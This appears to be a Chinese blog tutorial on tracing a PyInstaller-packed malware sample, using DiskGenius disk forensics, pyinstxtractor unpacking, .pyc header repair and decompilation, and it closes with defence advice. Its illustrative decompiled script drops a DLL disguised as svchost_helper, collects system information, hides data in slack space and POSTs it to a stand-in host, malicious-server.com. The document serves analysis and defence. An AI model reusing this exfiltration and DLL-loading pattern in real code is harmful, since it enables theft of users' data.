恶意程序追踪实战:DiskGenius取证与PyInstaller逆向分析
2026/7/27 6:47:01 网站建设 项目流程

1. 项目概述:一次真实的恶意程序追踪实战

最近在分析一个可疑的样本时,我遇到了一个典型的“套娃”式恶意程序。它伪装成一个正常的工具软件,但运行后却在后台执行一系列隐秘操作。为了搞清楚它到底做了什么,我决定进行一次从磁盘取证到二进制逆向的完整链路追踪。整个过程的核心工具是DiskGeniusPyInstaller逆向工具链。前者用于在程序运行后,从物理磁盘层面捕获其留下的“犯罪现场”痕迹;后者则用于拆解这个由 Python 打包而成的恶意 EXE,还原其源代码和逻辑。这不仅仅是工具的使用,更是一次完整的数字取证与逆向工程思维的实践。无论你是安全研究员、运维工程师,还是对计算机底层感兴趣的技术爱好者,通过这次实战,你都能掌握一套在真实环境中追踪、分析可疑程序的有效方法。

2. 核心思路与工具选型背后的考量

面对一个未知的可执行文件,盲目运行是危险的。我的分析思路遵循“由外向内,动静结合”的原则。

2.1 为什么选择“全链路”追踪?

传统的恶意软件分析往往侧重于静态分析(看代码)或动态分析(在沙箱里跑)。但高级恶意程序会检测沙箱环境、进行反调试,甚至只在特定条件下触发恶意行为。单纯的静态或动态分析容易遗漏关键信息。“全链路”追踪意味着我们要观察程序从启动到结束,在整个系统环境中留下的所有痕迹,包括文件、进程、网络、注册表和磁盘底层数据。这能构建一个更完整的攻击者画像和行为时间线。

2.2 DiskGenius 在取证环节的不可替代性

你可能好奇,系统监控工具那么多,为什么偏偏是 DiskGenius?它本质上是一个强大的磁盘管理与数据恢复软件。在本次追踪中,我主要利用它的两个核心功能:

  1. 磁盘扇区查看与编辑:恶意程序为了隐藏自身,可能会将关键数据(如配置、窃取的信息)写入磁盘的未分配空间或文件 slack 空间(文件末尾未使用的簇)。这些区域对于操作系统和普通文件浏览器是不可见的。DiskGenius 可以直接读写物理扇区,让我们能像法医一样,检查磁盘的每一个“角落”,寻找被故意隐藏或删除的证据。
  2. 文件恢复与深度扫描:如果恶意程序在运行后删除了自身的释放物或日志,我们可以利用 DiskGenius 的文件恢复功能,尝试从磁盘上找回这些已被标记为删除但物理数据尚未被覆盖的文件。这对于还原攻击链至关重要。

选择 DiskGenius Professional 版本是因为其功能更全面、稳定。请注意,务必从官方或可信渠道获取软件,使用破解版或来历不明的注册码本身就可能引入安全风险,甚至其本身就是恶意软件。我们的目的是分析安全,而不是破坏安全。

2.3 PyInstaller 逆向:从打包的 EXE 回到 Python 源码

目标程序是一个.exe文件,但通过一些特征(如文件头、依赖库)初步判断,它很可能由 PyInstaller 打包而成。PyInstaller 将 Python 解释器、依赖库和脚本打包成一个独立的可执行文件。逆向 PyInstaller 打包的程序,目标就是从中提取出原始的.pyc字节码文件,进而反编译得到可读的 Python 源代码。这是分析由 Python 编写的恶意程序或闭源工具的核心步骤。

3. 第一阶段:基于 DiskGenius 的动态行为取证与痕迹捕获

在开始逆向之前,我们需要先知道这个程序“干了什么”。为此,我搭建了一个干净的虚拟机(VM)环境,并配置了进程监控、网络抓包等工具。然后,在受控环境下运行了可疑程序。

3.1 运行监控与初步发现

程序运行后,表面上看一切正常,弹出一个看似无害的界面。但通过进程监控器,我发现它创建了若干个子进程,其中一个快速退出,另一个则尝试连接到一个可疑的外部 IP 地址。网络抓包显示进行了 DNS 查询和 HTTP 请求。同时,在用户临时目录%TEMP%下,出现了几个新生成的、名称随机的.dat.tmp文件。

关键操作:我立即为虚拟机创建了一个快照,然后关闭了虚拟机。切记,不要直接在宿主机上进行分析。接下来,我们将虚拟机磁盘文件(.vmdk.vhd)挂载到分析机,使用 DiskGenius 进行深度检查。

3.2 使用 DiskGenius 进行磁盘深度取证

  1. 加载虚拟磁盘:在分析机上打开 DiskGenius,通过“磁盘” -> “打开虚拟磁盘文件”,加载虚拟机的硬盘文件。这样,我们就能以只读模式(务必勾选只读,防止污染证据)浏览虚拟机内的所有分区和文件。
  2. 搜索运行痕迹
    • 文件层面:直接浏览C:\Users\[用户名]\AppData\Local\Temp,确认之前监控到的临时文件。利用 DiskGenius 的“文件恢复”功能,对临时目录所在分区进行扫描,看看是否有已被删除的相关文件。果然,找到了几个已被删除的.log文件,其中包含了程序运行的错误信息和尝试连接的 C2(命令与控制)服务器地址片段。
    • 扇区层面(核心):这是普通工具做不到的。我怀疑程序可能将窃取到的数据(如键盘记录)暂存到了非常规位置。使用“工具” -> “查看扇区”功能,我定位到临时文件所在分区的未分配空间范围(通过分区空闲空间计算)。以十六进制模式查看这些扇区,需要寻找一些模式,比如重复的结构、可读的字符串(如“username”、“password”、“http://”)或加密数据的特征(高熵值区域)。这是一个需要耐心和经验的步骤。最终,我在一段未分配簇中发现了经过 Base64 编码的字符串片段,解码后证实是系统信息摘要。
    • 检索特定内容:利用 DiskGenius 的“搜索”功能,在整个磁盘或特定范围内搜索在动态分析中捕获到的 IP 地址、域名或特征字符串。这有助于发现写入其他文件或注册表值(注册表数据也存储在磁盘文件中)中的配置信息。

注意:直接分析物理扇区数据如同大海捞针,最好能结合动态分析得到的线索(如特定字符串、数据长度)进行针对性搜索。同时,确保 DiskGenius 以管理员身份运行,以获得对物理磁盘的直接访问权限。

3.3 取证结果整合

通过 DiskGenius 的深度扫描,我拼凑出了以下行为链:

  1. 程序运行后,在%TEMP%释放核心负载模块(一个.dll文件)和配置文件。
  2. 主进程加载该 DLL,DLL 开始收集系统信息(计算机名、用户名、运行进程列表)。
  3. 收集的信息经过一个简单的 XOR 加密后,被写入到%TEMP%的一个临时文件中。
  4. 随后,该临时文件被删除,但其内容的一部分被以追加方式写入了磁盘某个未分配簇的尾部(可能是利用了对文件系统的特殊操作)。
  5. 程序尝试连接 C2 服务器上报信息,但因网络隔离失败。
  6. 主进程退出,但释放的 DLL 尝试注入到另一个合法系统进程中以实现持久化(这一步被安全软件拦截)。

至此,我们清楚了程序的恶意行为:信息窃取、试图外传、文件隐藏、进程注入。下一步,就是拆开这个 EXE,看看它的源代码是如何实现这些的。

4. 第二阶段:PyInstaller 打包程序的逆向与源码还原

现在我们知道这个.exe是 PyInstaller 打包的,并且内部包含一个执行恶意操作的 DLL。我们的目标是提取出 Python 脚本源码。

4.1 识别与解包 PyInstaller 程序

首先,使用pyi-archive_viewer(PyInstaller 自带的工具)进行快速确认和初步解包。

# 进入 Python 环境下的 Scripts 目录,或确保 pyi-archive_viewer 在 PATH 中 pyi-archive_viewer suspect_program.exe

在交互界面中,输入?查看帮助。通常输入list会显示打包进去的文件列表。你可能会看到类似这样的结构:

(0, 115, 311, 1, 1, 0, 'pyiboot01_bootstrap'), (311, 2261, 5604, 1, 1, 0, 'pyimod01_archive'), (2572, 4567, 9876, 1, 1, 0, 'struct'), ... # 很多 Python 库 (123456, 7890, 1024, 0, 0, 0, 'main.pyc'), # 主脚本 (124480, 15000, 51200, 0, 0, 0, 'secret.dll'), # 恶意 DLL

可以看到main.pyc(Python 编译后的字节码文件)和secret.dll。我们可以使用extract <name>命令将其提取出来,例如extract main.pyc

4.2 处理 PyInstaller 的运行时捆绑

新版本的 PyInstaller(尤其是 3.6+)默认使用单文件打包模式,会将所有依赖压缩成一个归档包。直接使用pyi-archive_viewer可能无法直接列出文件。这时需要借助专门的解包工具,如pyinstxtractor

python pyinstxtractor.py suspect_program.exe

运行后,它会生成一个suspect_program.exe_extracted目录,里面包含了所有被解包的文件。在这个目录里,寻找没有后缀的同名文件(如main),它就是我们需要的主程序.pyc文件,但可能缺少了标准的.pyc文件头。

4.3 修复并反编译 .pyc 文件

从 PyInstaller 提取的.pyc文件往往缺失了前 16 个字节(魔数、时间戳等)的文件头,导致反编译工具无法直接识别。我们需要为其添加正确的文件头。

  1. 确定 Python 版本:首先需要知道原程序是用哪个版本的 Python 打包的。可以通过查看解包目录中的struct等库文件的版本信息,或者用十六进制编辑器查看原始exe中是否包含类似python3x.dll的字符串来推断。假设我们推断是 Python 3.8。
  2. 获取标准文件头:在同一台分析机上,用 Python 3.8 解释器随意编译一个.py文件,生成一个标准的.pyc文件。用十六进制编辑器(如 010 Editor)打开这个标准.pyc,复制前 16 个字节。
  3. 修复文件头:用十六进制编辑器打开从恶意程序中提取出的main文件,将刚才复制的 16 个字节粘贴到文件开头,保存为main_fixed.pyc
  4. 反编译:使用uncompyle6decompyle3等工具进行反编译。
    uncompyle6 main_fixed.pyc > main_decompiled.py
    如果成功,main_decompiled.py就是可读的 Python 源代码。

4.4 分析还原的 Python 源码

打开main_decompiled.py,我们终于看到了庐山真面目。代码结构可能如下:

import os import sys import ctypes import base64 from Crypto.Cipher import XOR # 可能使用的简单加密库 import requests def hide_data_in_slack(data, filepath): """一个将数据隐藏到文件末尾未用簇的函数""" # ... 实现细节,涉及直接磁盘写入 pass def collect_system_info(): info = {} info['hostname'] = os.getenv('COMPUTERNAME') info['user'] = os.getenv('USERNAME') # ... 收集更多信息 return info def main(): print("[*] Legitimate Tool Starting...") # 伪装界面 # 1. 释放 DLL 资源 dll_data = extract_embedded_resource('secret.dll') with open(os.path.join(os.environ['TEMP'], 'svchost_helper.dll'), 'wb') as f: f.write(dll_data) # 2. 收集信息并加密 sys_info = collect_system_info() cipher = XOR.new(b'fixed_key') encrypted_info = cipher.encrypt(str(sys_info).encode()) # 3. 将加密信息写入临时文件,然后隐藏到磁盘 slack 空间 temp_file = os.path.join(os.environ['TEMP'], 'tmp.dat') with open(temp_file, 'wb') as f: f.write(encrypted_info) hide_data_in_slack(encrypted_info, temp_file) os.remove(temp_file) # 删除临时文件 # 4. 加载 DLL,执行进程注入等操作 ctypes.WinDLL(os.path.join(os.environ['TEMP'], 'svchost_helper.dll')).start() # 5. 尝试外联(失败则静默) try: requests.post('http://malicious-server.com/report', data=encrypted_info, timeout=3) except: pass if __name__ == '__main__': main()

通过源码,我们清晰地验证了取证阶段发现的所有行为:资源释放、信息收集、自定义加密、磁盘 Slack 空间隐藏技术、DLL 加载、网络通信。其中hide_data_in_slack函数的实现,正好解释了为什么我们用 DiskGenius 能在未分配簇中找到数据片段。

5. 关键技术与难点深度解析

5.1 DiskGenius 取证中的“未用簇”与 Slack 空间

这是本次分析的一个技术亮点。文件系统(如 NTFS)分配空间是以“簇”为单位的。如果一个文件大小不是簇大小的整数倍,最后一个簇中未被文件内容占用的部分,就称为“文件 Slack Space”。而“未用簇”是指未被任何文件占用的空闲簇。恶意程序可以利用系统 API 或直接磁盘写入,将数据偷偷放入这些区域。因为操作系统不管理这些空间的内容,所以常规删除和格式化不会覆盖它们,隐蔽性极高。DiskGenius 的扇区查看功能是发现此类隐藏数据的利器。在分析时,可以重点关注临时文件所在分区末尾的未分配空间,以及已知系统大文件(如 pagefile.sys)之后的区域

5.2 PyInstaller 逆向的版本适配与反编译陷阱

  • 版本匹配:修复.pyc文件头时,Python 版本必须完全匹配(主版本号.次版本号)。Python 3.8 和 3.9 的.pyc文件头就不同。如果版本不对,反编译会失败或得到乱码。如果无法确定版本,可以尝试常见的几个版本(如 3.7, 3.8, 3.9, 3.10)的头文件进行试验。
  • 反编译工具选择uncompyle6对 Python 3.8 及以下版本支持较好。对于 Python 3.9+,可能需要使用decompyle3或更新的工具。有时反编译出的代码会有少量语法错误,需要根据上下文手动修复。
  • 代码混淆:高级恶意软件可能会对 Python 代码进行混淆(变量名替换、控制流扁平化等)。反编译后得到的代码可读性依然很差。这时需要结合动态调试,理解关键函数的功能。

5.3 动态分析与静态分析的交叉验证

本次实战完美体现了交叉验证的重要性。DiskGenius 取证发现了隐藏数据的行为(动态结果),但不知道具体算法。PyInstaller 逆向得到了源代码(静态逻辑),其中包含了hide_data_in_slack函数和 XOR 加密密钥。我们可以用源代码中的算法,去解密 DiskGenius 提取出的那段 Base64 数据,如果成功解密出系统信息,那么就形成了完美的证据链闭环。这种“动态发现现象,静态解释原理,再回到动态验证”的循环,是高质量恶意程序分析的核心。

6. 常见问题、排查技巧与防御建议

6.1 逆向分析过程中的常见问题

  1. pyinstxtractor运行报错或提取不完整

    • 可能原因:PyInstaller 版本过新,使用了不同的打包格式;或者程序被加壳保护。
    • 解决:尝试更新pyinstxtractor到最新版。如果怀疑加壳,先用 PEiD、Exeinfo PE 等工具查壳,如果是 UPX 等常见壳,先脱壳再处理。
  2. 反编译出的代码无法运行或逻辑混乱

    • 可能原因.pyc文件头修复不正确;Python 版本不匹配;源代码本身经过了严重混淆或使用了反编译对抗技术。
    • 解决:重新确认 Python 版本。对于混淆代码,重点放在可读的字符串常量、导入的库名和关键的函数调用上,尝试推断程序功能,不必强求完全还原。
  3. DiskGenius 无法查看物理磁盘或扇区

    • 可能原因:没有以管理员权限运行;磁盘被其他进程占用。
    • 解决:务必以管理员身份运行 DiskGenius。对于分析虚拟机磁盘,最好将其挂载到另一台分析机,而不是在运行中的虚拟机内部分析。

6.2 针对此类恶意程序的防御建议

  • 用户层面
    • 来源可信:绝不运行来源不明的软件,尤其是所谓“破解版”、“绿色版”工具。
    • 权限最小化:日常使用使用标准用户账户,而非管理员账户。
    • 启用安全软件:保持杀毒软件和防火墙开启,并及时更新。
  • 系统与管理层面
    • 部署 EDR:终端检测与响应(EDR)工具可以记录进程行为链,比传统杀软更能发现此类无文件或隐藏文件攻击。
    • 磁盘加密:全盘加密(如 BitLocker)可以防止攻击者在物理层面或通过离线挂载磁盘访问 Slack 空间数据。
    • 日志审计:开启并集中管理系统的进程创建、网络连接等安全日志,便于事后追溯。
  • 开发与打包层面(如果你是开发者)
    • 代码签名:为你的正规 PyInstaller 打包程序进行代码签名,增加用户信任度。
    • 避免敏感信息硬编码:像示例中的 XOR 密钥fixed_key就是严重的安全失误。任何密钥、配置服务器地址都不应硬编码在源码中。

这次从 DiskGenius 磁盘取证到 PyInstaller 逆向的完整追踪,不仅是一次技术演练,更是一次安全思维的训练。它告诉我们,面对日益复杂的威胁,需要将多种工具和技术串联起来,从多个维度审视问题。真正的安全分析,往往就藏在这些细节的关联与验证之中。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询